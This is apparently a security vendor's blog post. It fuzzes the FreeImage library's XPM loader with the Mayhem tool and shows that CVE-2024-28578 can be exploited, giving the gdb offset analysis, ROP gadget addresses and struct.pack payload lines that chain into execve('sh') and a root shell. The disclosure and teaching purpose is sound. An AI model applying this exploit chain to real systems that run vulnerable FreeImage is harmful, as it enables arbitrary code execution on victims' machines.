CVE-2024-28578: Test Third-Party Image Libraries With Mayhem

Thanassis Avgerinos
June 5, 2024
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

The image above is actually a full exploit for freeimage! Should you be worried about viewing it in your browser? No, your browser is probably safe rendering this image since we have sanitized it for obvious reasons.

What is CVE-2024-28578?

CVE-2024-28578 is a buffer overflow vulnerability in open source FreeImage v.3.19.0 [r1909], enabling a local attacker to execute arbitrary code by exploiting the Load() function when reading images in the XPM format.

Vulnerabilities in FreeImage and Other Third-Party Libraries

Freeimage is a popular image manipulation library used by multiple vendors because of its very open public license. It provides developers with tools to load, save, convert, and manipulate images, making it a popular choice for applications requiring comprehensive image processing capabilities. 

Building image manipulation utilities is hard, but thankfully libraries like freeimage exist out there with a permissive license, allowing organizations to use them in their applications. However, using third party utilities like freeimage is risky without implementing automatic security testing to identify and mitigate any potential exploits like CVE-2024-28578.

In this blog post, we’ll show you how to easily check that such a library is safe before incorporating it in your SDLC by using Mayhem.

We forked the library's GitHub mirror in a separate repo to try it out.

1. First things first: Let's Dockerize

First, we need to dockerize the application so that Mayhem can run it. We want to make sure we have a reproducible build and environment for our testing; one that's identical to what we would use in production. For our use-case, we opted for using Debian stable and after a couple of iterations put a quick Dockerfile together:

FROM debian:stable as builder
RUN apt update && apt install -fy build-essential g++-multilib
COPY . /freeimage
WORKDIR /freeimage
RUN make -j 4
RUN make -C Examples/Linux

FROM debian:stable as target
COPY --from=builder /freeimage/Examples/Linux/target-xpm /freeimage
CMD ["/freeimage", "@@"]

The Dockerfile is pretty self-explanatory: we install deps, build the library and then plant it in a fresh Debian. We do this to ensure the test target image remains small and we do not include unnecessary build dependencies.

Choosing a Target

Our library here is an image manipulation library that has support for tons of image formats. We could do security testing on all of them, or focus on a specific one. In this post, we'll investigate the latter which is common for realistic use cases: typically our application will be using a library like freeimage to parse only a very particular image format (or a small set) out of all the supported ones within freeimage

We can ensure our security testing is targeted and focused only on our attack surface—something that is easily missed by typical SBOM tooling. For our example, we'll use the XPM file format and assume we're just loading XPM images in our application (no further manipulation). Building a small driver (aka fuzzing harness) takes just a couple lines of code:

#include <FreeImage.h>

int main(int argc, char *argv[])
{
	if (argc != 2) return 1;
	FIBITMAP *image;
	image = FreeImage_Load(FIF_XPM, argv[1], 0);
        if (image)
        	FreeImage_Unload(image);
	return 0;
}

This small driver program exercises the XPM image loading and unloading within the freeimage library, following the running convention: ./target-xpm file.xpm where the input XPM file is provided as the first command line argument. Building and pushing:

$ docker build -t ethan42/image:3 .
...
$ docker push ethan42/image:3

We're now ready! Let's start testing it!

2. Write up a Mayhemfile and Run

Next, let's quickly write up a Mayhemfile (using mayhem init or manually given how simple this target is) to allow you to run Mayhem:

project: ethan/freeimage
target: freeimage-xpm
image: ethan42/freeimage:3
cmds:
  - cmd: /freeimage @@

Given this is a known file format, we can also seed it with a sample XPM test case - a quick online search gives us a very nice teapot example. Before placing it in our testsuite we also shrank it a bit using convert to ensure we improve our testing performance—keeping test cases small is the number #1 performance tip for most analysis engines:

$ convert ~/Downloads/teapot.xpm -resize 5% teapot.xpm
$ cat teapot.xpm
/* XPM */
static char *teapot[] = {
"2 1 2 1 ",
"  c #F098D447E294",
". c #FB28E7D8F371",
" ."
};

It looks pretty small and here if we really wanted to test XPM functionality we'd build an entire testsuite to cover a more diverse set of behaviors. However, here we're just "kicking the tires" of the library, so let’s see how it'll do with zero configuration:

$ mayhem run .
...
Run started: freeimage/freeimage-xpm/1
Run URL: https://app.mayhem.security:443/ethan42/freeimage/freeimage-xpm/1
freeimage/freeimage-xpm/1

At this point, we'll let Mayhem "brew" for a bit while we go get some lunch.

3. Analyze Results

Coming back to our results, we see numerous defects and the one with the top-severity looks interesting:

0x20202020 is always an interesting address to have a crash at! Looking at the Mayhem-reported register state we see:

eax 0x0
ebx 0x20202020
ecx 0x88a2890
edx 0x6
esi 0x20202020
edi 0x20202020
ebp 0x20202020
esp 0xffffdb50
eip 0x20202020

It appears that eip indeed happens to have a value of 0x20202020 - is this a coincidence? Let's fetch our test cases and try tweaking some of the space characters (0x20 is the space character in ASCII):

$ mayhem sync .
Target synced at: '.'.
$ cp testsuite/81d7aa79a30bc25e67ee362bb6182b84f4fa81a1dc1fe859015df5584f9d3902 poc0.xpm
$ wc -c poc0.xpm
1574 poc0.xpm
$ fold -w1 poc0.xpm  | uniq -c | sort -n | tail
      2 2
      2 4
      2 4
      2 4
     13 �
     13 �
     17
     27
    543
    802

We see the majority of the file consists of the space character anyway, let's try patternizing the input and see if we get lucky and manage to figure out which part of the payload controls the IP - if any.

$ python3 pattern.py 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
$ python3 pattern.py 500 > pattern
$ perl -e 'print " "x500' > spaces
$ sed "s, `cat spaces`, `cat pattern`,g" poc0.xpm > poc1.xpm

Let's fire gdb and run it again:

 gdb --args /freeimage /poc1.xpm
...
(gdb) r

Program received signal SIGSEGV, Segmentation fault.
0x37694136 in ?? ()
(gdb) x/16x $esp
0xfff32190:	0x41386941	0x6a413969	0x316a4130	0x41326a41
0xfff321a0:	0x6a41336a	0x356a4134	0x41366a41	0x6a41376a
0xfff321b0:	0x396a4138	0x41306b41	0x6b41316b	0x336b4132
0xfff321c0:	0x41346b41	0x6b41356b	0x376b4136	0x41386b41
(gdb) p/c 0x36
$1 = 54 '6'
(gdb) p/c 0x41
$2 = 65 'A'
(gdb) p/c 0x69
$3 = 105 'i'
(gdb) p/c 0x37
$4 = 55 '7'
(gdb) i r
eax            0x0                 0
ecx            0xa76d890           175560848
edx            0x6                 6
ebx            0x69413169          1765880169
esp            0xfff32190          0xfff32190
ebp            0x69413569          0x69413569
esi            0x33694132          862535986
edi            0x41346941          1093953857
eip            0x37694136          0x37694136
eflags         0x10246             [ PF ZF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) quit

Well, that definitely looks like ASCII and the sequence that overwrote the IP and the rest up the stack are all part of our pattern (note "6Ai7" occurs only once in the original pattern we applied). 

Is CVE-2024-28578 Exploitable?

We’ve found a vulnerability in freeimage, but how concerned should we be about it? Let’s explore if we can craft an exploit.

Putting everything together: crafting a ROP payload

The input (poc1.xpm) demonstrates clear control of IP which is typically enough to say this vulnerability is exploitable. But are we sure? Only one way to find out! Let's checkout what defenses are on and what kind of payload would be needed:

$ mayhem check freeimage
Key        Value
---------  ----------------------------------------------
File       /freeimage
Type       ELF/x86
Version    1.2.11
PIE        ✖
DEP        ✔
Canary     ✖
Fortify    ✖
Static     ✔
Fuzz       ✔
LibFuzzer  ✖
HonggFuzz  ✖
SymbExec   ✔
AFL        ✖
ASAN       ✖
MSAN       ✖
UBSAN      ✖
LSAN       ✖
Rust       ✖
Golang     ✖

We see that DEP is on, but no PIE is enabled, which means we should give a shot at a Return-Oriented Programming (ROP) exploit.

There are plenty of tools nowadays to make this simpler, but we'll do it the old-fashioned way - let's use JonathanSalwan's excellent ROPgadget tool and see if we can find any gadgets in this binary:

$ ROPgadget --binary=freeimage
...
0x0824b833 : xor esp, 0x83000001 ; ret 0x8901
0x08425a51 : xor esp, 0xffffff87 ; in eax, dx ; call dword ptr [eax - 0x73]
0x084306be : xor esp, 0xffffff8f ; in eax, dx ; call dword ptr [eax - 0x75]
0x08431428 : xor esp, 0xffffff9d ; in eax, dx ; call dword ptr [eax - 0x73]
0x08466f41 : xor esp, 0xffffffbb ; in eax, dx ; call dword ptr [eax - 0x73]
0x0847fe1a : xor esp, 0xffffffc4 ; out dx, al ; call dword ptr [eax + 0x68]
0x0836b5d7 : xor esp, 2 ; add byte ptr [eax], al ; movzx eax, byte ptr [eax] ; jmp 0x836b12d
0x083a2817 : xor esp, 2 ; add byte ptr [eax], al ; xor eax, eax ; jmp 0x83a2485
0x081c236d : xor esp, dword ptr [0x10c48300] ; jmp 0x81c1bb8
0x08111079 : xor esp, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 0x10 ; jmp 0x810ec81
0x08183ca7 : xor esp, dword ptr [esi - 0x3f] ; ret 0xf08
0x0820799e : xor esp, dword ptr [esi - 0x77] ; jl 0x82079c7 ; and ch, cl ; ret
0x0838d78a : xor esp, edi ; in al, dx ; call dword ptr [eax - 0x18]
0x08359cbc : xor esp, edx ; in al, dx ; call dword ptr [eax - 0x18]

Unique gadgets found: 282629

Well, that's a lot of gadgets! Let's just use a couple to setup execve arguments and demonstrate running an executable. From a quick scan, we have:

  1. Multiple syscall gadgets:
0x0807947f : int 0x80

2. And also multiple register loading gadgets:

0x08057574 : pop eax ; ret
0x0804901e : pop ebx ; ret
0x082607b3 : pop ecx ; ret
0x083dc626 : pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

We should be able to invoke the execve syscall without too much of an issue. After a couple of attempts though, we realize that our overflow only happens if NULL bytes are avoided and loading 0xb into eax with pop eax; ret doesn't quite work. However, can we do this with different, semantically equivalent gadgets that use no NULL bytes? Can we load the value 0xb into eax without NULL bytes?

Controlling eax

The answer is obviously yes! One way to do this is by finding the value 0x000000b0 in memory and using it to initialize eax with a memory load gadget:

0x0806b45c : mov eax, dword ptr [eax] ; ret

and the value 0xb is indeed present in:

x/x 0x812ecdc
0x812ecdc:	0x0b

After applying our payload:

payload += struct.pack("<I", 0x08057574)  ; pop eax; ret
payload += struct.pack("<I", 0x812ecdc)   ; eax = 0x812ecdc
payload += struct.pack("<I", 0x0806b45c)  ; mov eax, [eax] // eax = 0xb
payload += struct.pack("<I", 0x0807947f)  ; int 0x80

a quick strace shows:

# strace -e execve /freeimage /poc1.xpm
execve("/freeimage", ["/freeimage", "/poc1.xpm"], 0x7fff737ed3e8 /* 7 vars */) = 0
...
execve(0x69413169, [0x10001, 0x1, 0x1, 0x10001], 0x6) = -1 EFAULT (Bad address)

We can run execve! The system call arguments aren't quite lined up, but let's fix that next.

Fixing up execve arguments

First, we observe that ebx is 0x69413169 which is yet another part of the payload and is a pointer to the string of the executable we are trying to run! Let's find a string in memory and use that, e.g., "sh":

(gdb) info proc mapping
process 3721
Mapped address spaces:

	Start Addr   End Addr       Size     Offset  Perms   objfile
	 0x8048000  0x8049000     0x1000        0x0  r--p   /freeimage
	 0x8049000  0x849c000   0x453000     0x1000  r-xp   /freeimage
	 0x849c000  0x873a000   0x29e000   0x454000  r--p   /freeimage
	 0x873a000  0x8752000    0x18000   0x6f1000  r--p   /freeimage
	 0x8752000  0x889b000   0x149000   0x709000  rw-p   /freeimage
	 0x889b000  0x88a2000     0x7000        0x0  rw-p
	 0xa838000  0xa878000    0x40000        0x0  rw-p   [heap]
	0xf7f9e000 0xf7fa2000     0x4000        0x0  r--p   [vvar]
	0xf7fa2000 0xf7fa4000     0x2000        0x0  r-xp   [vdso]
	0xffbb6000 0xffbd7000    0x21000        0x0  rw-p   [stack]
(gdb) find 0x8048000,+9999999,"sh"
0x80cac4c

Adding it to our payload:

payload += struct.pack("<I", 0x80cac4c)  ; ebx = "sh"

Next, let's zero-out the other two arguments (luckily execve works fine with NULL arguments) using some xor gadgets:

0x081272b4 : xor ecx, ecx ; mov eax, ecx ; ret
0x0807c552 : xor edx, edx ; ret

One more addition to our payload:

payload += struct.pack("<I", 0x081272b4)  ; ecx = 0
payload += struct.pack("<I", 0x0807c552)  ; edx = 0

And now we're ready to try it out!

# strace -e execve /freeimage /poc2.xpm
execve("/freeimage", ["/freeimage", "/poc2.xpm"], 0x7ffde8a950d8 /* 7 vars */) = 0
[ Process PID=3764 runs in 32 bit mode. ]
execve("sh", NULL, NULL)                = -1 ENOENT (No such file or directory)
# ln -s /bin/sh sh
# /freeimage /poc2.xpm
# whoami
root

We get a shell! Nothing too difficult overall! You can find the full payload in exploit.py

All code and configuration files are also available on Github.

Conclusion: Is CVE-2024-28578 Exploitable?

CVE-2024-28578 is an exploitable vulnerability that allows images from the library to be turned into weaponized exploits. This vulnerability allows attackers to bypass modern OS defenses like DEP and ASLR using very basic techniques—all of these triggered when a user or program attempts to open one of these pictures. 

Let's avoid using freeimage's XPM implementation until this issue is resolved! If you are using this library, connect with your development team to make sure you switch to a more secure version or different library.

How to Secure Third-Party Libraries 

It’s important to have security testing in place before introducing any third party software in your application stack. Even a seemingly harmless action like attempting to open an image may expose an exploitable vulnerability that compromises your entire application. 

Untested vulnerabilities in widely-used image libraries like FreeImage could be exploited by attackers, potentially compromising the security and functionality of OT systems, leading to unauthorized access, data breaches, system takeovers, and operational disruptions.

Security testing with Mayhem in the SDLC ensures issues like that are caught early and significantly reduces software maintenance cost as well as the security risk of working with third-party code.

Mayhem Security Testing

As shown with CVE-2024-28578, Mayhem automates extensive security testing, running thousands of tests per minute to uncover hidden vulnerabilities. 

Mayhem filters out false positives, presenting only actionable, reproducible results. Seamlessly integrating into your build pipeline, Mayhem continuously monitors and tests your code, ensuring robust security. 

Incorporate Mayhem into your DevSecOps workflow to proactively defend against potential exploits and maintain secure applications.

To see what Mayhem can do for your organization, schedule a demo with our team today.

Share this post

How about some Mayhem in your inbox?

Subscribe to our monthly newsletter for expert insights and news on DevSecOps topics, plus Mayhem tips and tutorials.

By subscribing, you're agreeing to our website terms and privacy policy.
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Add Mayhem to Your DevSecOps for Free.

Get a full-featured 30 day free trial.

Complete API Security in 5 Minutes

Get started with Mayhem today for fast, comprehensive, API security. 

Get Mayhem

Maximize Code Coverage in Minutes

Mayhem is an award-winning AI that autonomously finds new exploitable bugs and improves your test suites.

Get Mayhem